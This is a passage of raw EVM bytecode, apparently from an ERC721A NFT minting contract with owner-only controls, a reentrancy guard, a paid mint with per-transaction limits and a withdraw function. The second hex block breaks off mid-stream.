60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561220b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220290613a85565b60405180910390fd5b6122188585856001612bd1565b6122286000848460000151611f8b565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550836003600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561250d5761246c81611f76565b1561250c5782600001516003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46125768585856001612bd7565b5050505050565b612585613016565b61258e82611f76565b6125cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c490613a45565b60405180910390fd5b60008290505b600081106126d6576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16146126c7578092505050612712565b508080600190039150506125d3565b506040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270990613ca5565b60405180910390fd5b919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6127f7828260405180602001604052806000815250612bdd565b5050565b600061281c8473ffffffffffffffffffffffffffffffffffffffff16612bef565b15612985578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612845611f83565b8786866040518563ffffffff1660e01b8152600401612867949392919061395c565b602060405180830381600087803b15801561288157600080fd5b505af19250505080156128b257506040513d601f19601f820116820180604052508101906128af9190613376565b60015b612935573d80600081146128e2576040519150601f19603f3d011682016040523d82523d6000602084013e6128e7565b606091505b5060008151141561292d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292490613be5565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061298a565b600190505b949350505050565b6060600a80546129a190613fb5565b80601f01602080910402602001604051908101604052809291908181526020018280546129cd90613fb5565b8015612a1a5780601f106129ef57610100808354040283529160200191612a1a565b820191906000526020600020905b8154815290600101906020018083116129fd57829003601f168201915b5050505050905090565b60606000821415612a6c576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612bcc565b600082905060005b60008214612a9e578080612a8790614018565b915050600a82612a979190613e40565b9150612a74565b60008167ffffffffffffffff811115612ae0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612b125781602001600182028036833780820191505090505b5090505b60008514612bc557600182612b2b9190613ecb565b9150600a85612b3a9190614061565b6030612b469190613dea565b60f81b818381518110612b82577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612bbe9190613e40565b9450612b16565b8093505050505b919050565b50505050565b50505050565b612bea8383836001612c12565b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7f90613c05565b60405180910390fd5b6000841415612ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc390613c25565b60405180910390fd5b612cd96000868387612bd1565b83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555083600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550846003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600081905060005b85811015612f7357818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a48315612f5e57612f1e60008884886127fb565b612f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f5490613be5565b60405180910390fd5b5b81806001019250508080600101915050612ea7565b508060008190555050612f896000868387612bd7565b5050505050565b828054612f9c90613fb5565b90600052602060002090601f016020900481019282612fbe5760008555613005565b82601f10612fd757805160ff1916838001178555613005565b82800160010185558215613005579182015b82811115613004578251825591602001919060010190612fe9565b5b5090506130129190613050565b5090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b5b80821115613069576000816000905550600101613051565b5090565b600061308061307b84613d25565b613d00565b90508281526020810184848401111561309857600080fd5b6130a3848285613f73565b509392505050565b60006130be6130b984613d56565b613d00565b9050828152602081018484840111156130d657600080fd5b6130e1848285613f73565b509392505050565b6000813590506130f8816147e9565b92915050565b60008135905061310d81614800565b92915050565b60008135905061312281614817565b92915050565b60008151905061313781614817565b92915050565b600082601f83011261314e57600080fd5b813561315e84826020860161306d565b91505092915050565b600082601f83011261317857600080fd5b81356131888482602086016130ab565b91505092915050565b6000813590506131a08161482e565b92915050565b6000602082840312156131b857600080fd5b60006131c6848285016130e9565b91505092915050565b600080604083850312156131e257600080fd5b60006131f0858286016130e9565b9250506020613201858286016130e9565b9150509250929050565b60008060006060848603121561322057600080fd5b600061322e868287016130e9565b935050602061323f868287016130e9565b925050604061325086828701613191565b9150509250925092565b6000806000806080858703121561327057600080fd5b600061327e878288016130e9565b945050602061328f878288016130e9565b93505060406132a087828801613191565b925050606085013567ffffffffffffffff8111156132bd57600080fd5b6132c98782880161313d565b91505092959194509250565b600080604083850312156132e857600080fd5b60006132f6858286016130e9565b9250506020613307858286016130fe565b9150509250929050565b6000806040838503121561332457600080fd5b6000613332858286016130e9565b925050602061334385828601613191565b9150509250929050565b60006020828403121561335f57600080fd5b600061336d84828501613113565b91505092915050565b60006020828403121561338857600080fd5b600061339684828501613128565b91505092915050565b6000602082840312156133b157600080fd5b600082013567ffffffffffffffff8111156133cb57600080fd5b6133d784828501613167565b91505092915050565b6000602082840312156133f257600080fd5b600061340084828501613191565b91505092915050565b61341281613eff565b82525050565b61342181613f11565b82525050565b600061343282613d9c565b61343c8185613db2565b935061344c818560208601613f82565b6134558161414e565b840191505092915050565b600061346b82613da7565b6134758185613dce565b9350613485818560208601613f82565b61348e8161414e565b840191505092915050565b60006134a482613da7565b6134ae8185613ddf565b93506134be818560208601613f82565b80840191505092915050565b600081546134d781613fb5565b6134e18186613ddf565b945060018216600081146134fc576001811461350d57613540565b60ff19831686528186019350613540565b61351685613d87565b60005b8381101561353857815481890152600182019150602081019050613519565b838801955050505b50505092915050565b6000613556602283613dce565b91506135618261415f565b604082019050919050565b6000613579600783613dce565b9150613584826141ae565b602082019050919050565b600061359c602683613dce565b91506135a7826141d7565b604082019050919050565b60006135bf602a83613dce565b91506135ca82614226565b604082019050919050565b60006135e2602383613dce565b91506135ed82614275565b604082019050919050565b6000613605602583613dce565b9150613610826142c4565b604082019050919050565b6000613628603983613dce565b915061363382614313565b604082019050919050565b600061364b602b83613dce565b915061365682614362565b604082019050919050565b600061366e602683613dce565b9150613679826143b1565b604082019050919050565b6000613691600583613ddf565b915061369c82614400565b600582019050919050565b60006136b4602083613dce565b91506136bf82614429565b602082019050919050565b60006136d7602f83613dce565b91506136e282614452565b604082019050919050565b60006136fa601a83613dce565b9150613705826144a1565b602082019050919050565b600061371d603283613dce565b9150613728826144ca565b604082019050919050565b6000613740601d83613dce565b915061374b82614519565b602082019050919050565b6000613763602283613dce565b915061376e82614542565b604082019050919050565b6000613786600083613dc3565b915061379182614591565b600082019050919050565b60006137a9601083613dce565b91506137b482614594565b602082019050919050565b60006137cc603383613dce565b91506137d7826145bd565b604082019050919050565b60006137ef602183613dce565b91506137fa8261460c565b604082019050919050565b6000613812602883613dce565b915061381d8261465b565b604082019050919050565b6000613835601383613dce565b9150613840826146aa565b602082019050919050565b6000613858602e83613dce565b9150613863826146d3565b604082019050919050565b600061387b601f83613dce565b915061388682614722565b602082019050919050565b600061389e602f83613dce565b91506138a98261474b565b604082019050919050565b60006138c1602d83613dce565b91506138cc8261479a565b604082019050919050565b6138e081613f69565b82525050565b60006138f28285613499565b91506138fe8284613499565b915061390982613684565b91508190509392505050565b600061392182846134ca565b915081905092915050565b600061393782613779565b9150819050919050565b60006020820190506139566000830184613409565b92915050565b60006080820190506139716000830187613409565b61397e6020830186613409565b61398b60408301856138d7565b818103606083015261399d8184613427565b905095945050505050565b60006020820190506139bd6000830184613418565b92915050565b600060208201905081810360008301526139dd8184613460565b905092915050565b600060208201905081810360008301526139fe81613549565b9050919050565b60006020820190508181036000830152613a1e8161356c565b9050919050565b60006020820190508181036000830152613a3e8161358f565b9050919050565b60006020820190508181036000830152613a5e816135b2565b9050919050565b60006020820190508181036000830152613a7e816135d5565b9050919050565b60006020820190508181036000830152613a9e816135f8565b9050919050565b60006020820190508181036000830152613abe8161361b565b9050919050565b60006020820190508181036000830152613ade8161363e565b9050919050565b60006020820190508181036000830152613afe81613661565b9050919050565b60006020820190508181036000830152613b1e816136a7565b9050919050565b60006020820190508181036000830152613b3e816136ca565b9050919050565b60006020820190508181036000830152613b5e816136ed565b9050919050565b60006020820190508181036000830152613b7e81613710565b9050919050565b60006020820190508181036000830152613b9e81613733565b9050919050565b60006020820190508181036000830152613bbe81613756565b9050919050565b60006020820190508181036000830152613bde8161379c565b9050919050565b60006020820190508181036000830152613bfe816137bf565b9050919050565b60006020820190508181036000830152613c1e816137e2565b9050919050565b60006020820190508181036000830152613c3e81613805565b9050919050565b60006020820190508181036000830152613c5e81613828565b9050919050565b60006020820190508181036000830152613c7e8161384b565b9050919050565b60006020820190508181036000830152613c9e8161386e565b9050919050565b60006020820190508181036000830152613cbe81613891565b9050919050565b60006020820190508181036000830152613cde816138b4565b9050919050565b6000602082019050613cfa60008301846138d7565b92915050565b6000613d0a613d1b565b9050613d168282613fe7565b919050565b6000604051905090565b600067ffffffffffffffff821115613d4057613d3f61411f565b5b613d498261414e565b9050602081019050919050565b600067ffffffffffffffff821115613d7157613d7061411f565b5b613d7a8261414e565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000613df582613f69565b9150613e0083613f69565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613e3557613e34614092565b5b828201905092915050565b6000613e4b82613f69565b9150613e5683613f69565b925082613e6657613e656140c1565b5b828204905092915050565b6000613e7c82613f69565b9150613e8783613f69565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ec057613ebf614092565b5b828202905092915050565b6000613ed682613f69565b9150613ee183613f69565b925082821015613ef457613ef3614092565b5b828203905092915050565b6000613f0a82613f49565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613fa0578082015181840152602081019050613f85565b83811115613faf576000848401525b50505050565b60006002820490506001821680613fcd57607f821691505b60208210811415613fe157613fe06140f0565b5b50919050565b613ff08261414e565b810181811067ffffffffffffffff8211171561400f5761400e61411f565b5b80604052505050565b600061402382613f69565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561405657614055614092565b5b600182019050919050565b600061406c82613f69565b915061407783613f69565b925082614087576140866140c1565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f4e6f206d6f726500000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008201527f74656e7420746f6b656e00000000000000000000000000000000000000000000602082015250565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000602082015250565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e736665722066726f6d20696e636f727265637460008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b7f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f506c656173652073656e642074686520657861637420616d6f756e742e000000600082015250565b7f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f5472616e73666572206661696c65642e00000000000000000000000000000000600082015250565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b7f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207175616e74697479206d7573742062652067726561746560008201527f72207468616e2030000000000000000000000000000000000000000000000000602082015250565b7f4d61782070657220545820726561636865642e00000000000000000000000000600082015250565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b7f455243373231413a20756e61626c6520746f2064657465726d696e652074686560008201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b6147f281613eff565b81146147fd57600080fd5b50565b61480981613f11565b811461481457600080fd5b50565b61482081613f1d565b811461482b57600080fd5b50565b61483781613f69565b811461484257600080fd5b5056fea26469706673582212203e4e96eb100ca2ac7fead76cba0be180bf63f15dc8df573ddd8d63b2b9ea496d64736f6c63430008010033697066733a2f2f516d51517752397a31726a525a75556f42536f6a79766a617a70716f364c455479374d32343637354e776e446633

0x6080604052600436106101f95760003560e01c8063715018a61161010d578063a22cb465116100a0578063c87b56dd1161006f578063c87b56dd146106ec578063d5abeb0114610729578063e985e9c514610754578063f2fde38b14610791578063f968adbe146107ba576101f9565b8063a22cb46514610644578063a45ba8e71461066d578063b88d4fde14610698578063c7c39ffc146106c1576101f9565b806395d89b41116100dc57806395d89b41146105a9578063a035b1fe146105d4578063a0712d68146105ff578063a0bcfc7f1461061b576101f9565b8063715018a6146105155780638da5cb5b1461052c578063911759e41461055757806391b7f5ed14610580576101f9565b80633bd64968116101905780634fdd43cb1161015f5780634fdd43cb1461041c57806351830227146104455780636352211e146104705780636c0360eb146104ad57806370a08231146104d8576101f9565b80633bd64968146103885780633ccfd60b1461039f57806342842e0e146103b65780634f6ccce7146103df576101f9565b806318160ddd116101cc57806318160ddd146102cc57806323b872dd146102f75780632f745c5914610320578063333e44e61461035d576101f9565b806301ffc9a7146101fe57806306fdde031461023b578063081812fc14610266578063095ea7b3146102a3575b600080fd5b34801561020a57600080fd5b506102256004803603810190610220919061334d565b6107e5565b60405161023291906139a8565b60405180910390f35b34801561024757600080fd5b5061025061092f565b60405161025d91906139c3565b60405180910390f35b34801561027257600080fd5b5061028d600480360381019061028891906133e0565b6109c1565b60405161029a9190613941565b60405180910390f35b3480156102af57600080fd5b506102ca60048036038101906102c59190613311565b610a46565b005b3480156102d857600080fd5b506102e1610b5f565b6040516102ee9190613ce5565b60405180910390f35b34801561030357600080fd5b5061031e6004803603810190610319919061320b565b610b68565b005b34801561032c57600080fd5b5061034760048036038101906103429190613311565b610b78565b6040516103549190613ce5565b60405180910390f35b34801561036957600080fd5b50610372610d6a565b60405161037f9190613ce5565b60405180910390f35b34801561039457600080fd5b5061039d610d70565b005b3480156103ab57600080fd5b506103b4610e77565b005b3480156103c257600080fd5b506103dd60048036038101906103d8919061320b565b611057565b005b3480156103eb57600080fd5b50610406600480360381019061040191906133e0565b611077565b6040516104139190613ce5565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e919061339f565b6110ca565b005b34801561045157600080fd5b5061045a6111bf565b60405161046791906139a8565b60405180910390f35b34801561047c57600080fd5b50610497600480360381019061049291906133e0565b6111d2565b6040516104a49190613941565b60405180910390f35b3480156104b957600080fd5b506104c26111e8565b6040516104cf91906139c3565b60405180910390f35b3480156104e457600080fd5b506104ff60048036038101906104fa91906131a6565b611276565b60405161050c9190613ce5565b60405180910390f35b34801561052157600080fd5b5061052a61135f565b005b34801561053857600080fd5b50610541611446565b60405161054e9190613941565b60405180910390f35b34801561056357600080fd5b5061057e60048036038101906105799190613311565b611470565b005b34801561058c57600080fd5b506105a760048036038101906105a291906133e0565b611559565b005b3480156105b557600080fd5b506105be61163e565b6040516105cb91906139c3565b60405180910390f35b3480156105e057600080fd5b506105e96116d0565b6040516105f69190613ce5565b60405180910390f35b610619600480360381019061061491906133e0565b6116d6565b005b34801561062757600080fd5b50610642600480360381019061063d919061339f565b6118b6565b005b34801561065057600080fd5b5061066b600480360381019061066691906132d5565b6119ab565b005b34801561067957600080fd5b50610682611b2c565b60405161068f91906139c3565b60405180910390f35b3480156106a457600080fd5b506106bf60048036038101906106ba919061325a565b611bba565b005b3480156106cd57600080fd5b506106d6611c16565b6040516106e39190613ce5565b60405180910390f35b3480156106f857600080fd5b50610713600480360381019061070e91906133e0565b611c1c565b60405161072091906139c3565b60405180910390f35b34801561073557600080fd5b5061073e611d15565b60405161074b9190613ce5565b60405180910390f35b34801561076057600080fd5b5061077b600480360381019061077691906131cf565b611d1b565b60405161078891906139a8565b60405180910390f35b34801561079d57600080fd5b506107b860048036038101906107b391906131a6565b611daf565b005b3480156107c657600080fd5b506107cf611f06565b6040516107dc9190613ce5565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108b057507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061091857507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610928575061092782611f0c565b5b9050919050565b60606001805461093e90613fb5565b80601f016020809104026020016040519081016040528092919081815260200182805461096a90613fb5565b80156109b75780601f1061098c576101008083540402835291602001916109b7565b820191906000526020600020905b81548152906001019060200180831161099a57829003601f168201915b5050505050905090565b60006109cc82611f76565b610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290613cc5565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a51826111d2565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab990613ba5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610ae1611f83565b73ffffffffffffffffffffffffffffffffffffffff161480610b105750610b0f81610b0a611f83565b611d1b565b5b610b4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4690613aa5565b60405180910390fd5b610b5a838383611f8b565b505050565b60008054905090565b610b7383838361203d565b505050565b6000610b8383611276565b8210610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb906139e5565b60405180910390fd5b6000610bce610b5f565b905060008060005b83811015610d28576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610cc857806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d1a5786841415610d11578195505050505050610d64565b83806001019450505b508080600101915050610bd6565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5b90613c65565b60405180910390fd5b92915050565b600e5481565b610d78611f83565b73ffffffffffffffffffffffffffffffffffffffff16610d96611446565b73ffffffffffffffffffffffffffffffffffffffff161480610e0c5750610dbb611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610e4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4290613b05565b60405180910390fd5b601160009054906101000a900460ff1615601160006101000a81548160ff021916908315150217905550565b610e7f611f83565b73ffffffffffffffffffffffffffffffffffffffff16610e9d611446565b73ffffffffffffffffffffffffffffffffffffffff161480610f135750610ec2611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610f52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4990613b05565b60405180910390fd5b60026009541415610f98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8f90613c85565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff1647604051610fc69061392c565b60006040518083038185875af1925050503d8060008114611003576040519150601f19603f3d011682016040523d82523d6000602084013e611008565b606091505b505090508061104c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104390613bc5565b60405180910390fd5b506001600981905550565b61107283838360405180602001604052806000815250611bba565b505050565b6000611081610b5f565b82106110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b990613a65565b60405180910390fd5b819050919050565b6110d2611f83565b73ffffffffffffffffffffffffffffffffffffffff166110f0611446565b73ffffffffffffffffffffffffffffffffffffffff1614806111665750611115611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6111a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119c90613b05565b60405180910390fd5b80601090805190602001906111bb929190612f90565b5050565b601160009054906101000a900460ff1681565b60006111dd8261257d565b600001519050919050565b600a80546111f590613fb5565b80601f016020809104026020016040519081016040528092919081815260200182805461122190613fb5565b801561126e5780601f106112435761010080835404028352916020019161126e565b820191906000526020600020905b81548152906001019060200180831161125157829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112de90613ac5565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b611367611f83565b73ffffffffffffffffffffffffffffffffffffffff16611385611446565b73ffffffffffffffffffffffffffffffffffffffff1614806113fb57506113aa611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61143a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143190613b05565b60405180910390fd5b6114446000612717565b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611478611f83565b73ffffffffffffffffffffffffffffffffffffffff16611496611446565b73ffffffffffffffffffffffffffffffffffffffff16148061150c57506114bb611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61154b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154290613b05565b60405180910390fd5b61155582826127dd565b5050565b611561611f83565b73ffffffffffffffffffffffffffffffffffffffff1661157f611446565b73ffffffffffffffffffffffffffffffffffffffff1614806115f557506115a4611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611634576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162b90613b05565b60405180910390fd5b80600b8190555050565b60606002805461164d90613fb5565b80601f016020809104026020016040519081016040528092919081815260200182805461167990613fb5565b80156116c65780601f1061169b576101008083540402835291602001916116c6565b820191906000526020600020905b8154815290600101906020018083116116a957829003601f168201915b5050505050905090565b600b5481565b6000600b54905060006001600e546116ee9190613dea565b836116f7610b5f565b6117019190613dea565b10801561175a5750600d5483601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117579190613dea565b11155b905080156117bd576000915082601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117b59190613dea565b925050819055505b81836117c99190613e71565b34101561180b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180290613b85565b60405180910390fd5b600f5483611817610b5f565b6118219190613dea565b1115611862576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185990613a05565b60405180910390fd5b600c548311156118a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189e90613c45565b60405180910390fd5b6118b133846127dd565b505050565b6118be611f83565b73ffffffffffffffffffffffffffffffffffffffff166118dc611446565b73ffffffffffffffffffffffffffffffffffffffff1614806119525750611901611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611991576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198890613b05565b60405180910390fd5b80600a90805190602001906119a7929190612f90565b5050565b6119b3611f83565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1890613b45565b60405180910390fd5b8060066000611a2e611f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611adb611f83565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611b2091906139a8565b60405180910390a35050565b60108054611b3990613fb5565b80601f0160208091040260200160405190810160405280929190818152602001828054611b6590613f